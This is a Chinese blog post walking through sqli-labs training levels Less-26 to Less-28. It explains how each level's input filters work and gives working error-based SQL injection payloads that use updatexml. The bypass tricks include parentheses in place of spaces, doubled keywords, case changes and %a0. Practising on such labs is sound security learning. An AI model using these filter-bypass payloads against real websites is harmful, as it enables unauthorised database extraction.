Less-(26~28) preg_replace3

Less-26:

  核心语句:

 

 

 

   各种回显均存在。

 

本题相比Less-25,多屏蔽了很多符号;

  首先是各种注释符 --+,#,/**/  。 /[]/表示字符集合;任何出现在里面的字符均会被替换。

    屏蔽{ / * \ }等比较特殊的字符时,需要加上转义符号。

    /s 不是转义 而是匹配任何空白字符,包括空格、制表符、换页符等等。(它等价于 [ \f\n\r\t\v])

  划重点,空格没了。

  对于只屏蔽空格的地方,我们可以用 /**/ 代替空格,但是这题一下屏蔽到位了,所以只能换方法。

  有没有注入方式,完全不需要空格呢?

  union select和order by肯定不行了,这两个空格完全没办法避免。

  其它地方的空格,尝试都用括号替代。

    payload:?id=0'anandd(updatexml(1,concat(0x7e,(select(database()))),1))anandd'1'='1  

          ?id=111'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd'1'='1

 

Less-27:

 

 

 

依然是各种回显都有。

   相比之前,取消了对and or的过滤,增加了对union和select的过滤。

   s 和 m注释符 我暂时觉得没什么用。

   这个过滤挺逊的:没有i注释符,所以更改下大小写就可绕过;虽然多过滤了几次,但依然没有递归过滤,多套娃几个select也行。union反正我们本来就不用,更不用管。

      payload:?id=111'and(updatexml(1,concat(0x7e,(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1

 

Less-28:

 

 依然全回显。

直接搬来27的payload就行了:?id=111'and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1

  虽然$sql里多了小括号,但不知道什么原因,我本地跑还是对的。

  严谨的说,111'后面加上小括号才能说得过去;那样的话,

    payload变成?id=111')and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and('1')=('1

   (PS:buuoj的Less-28无报错回显。人麻了。)

 

实际上,在这里空格可以使用 %a0 替换;原理我不知道。利用%a0替换,我们可以用union select完成Less-26~28以及26a、28a的注入。

posted @ 2021-09-12 19:28  hiddener  阅读(35)  评论(0编辑  收藏  举报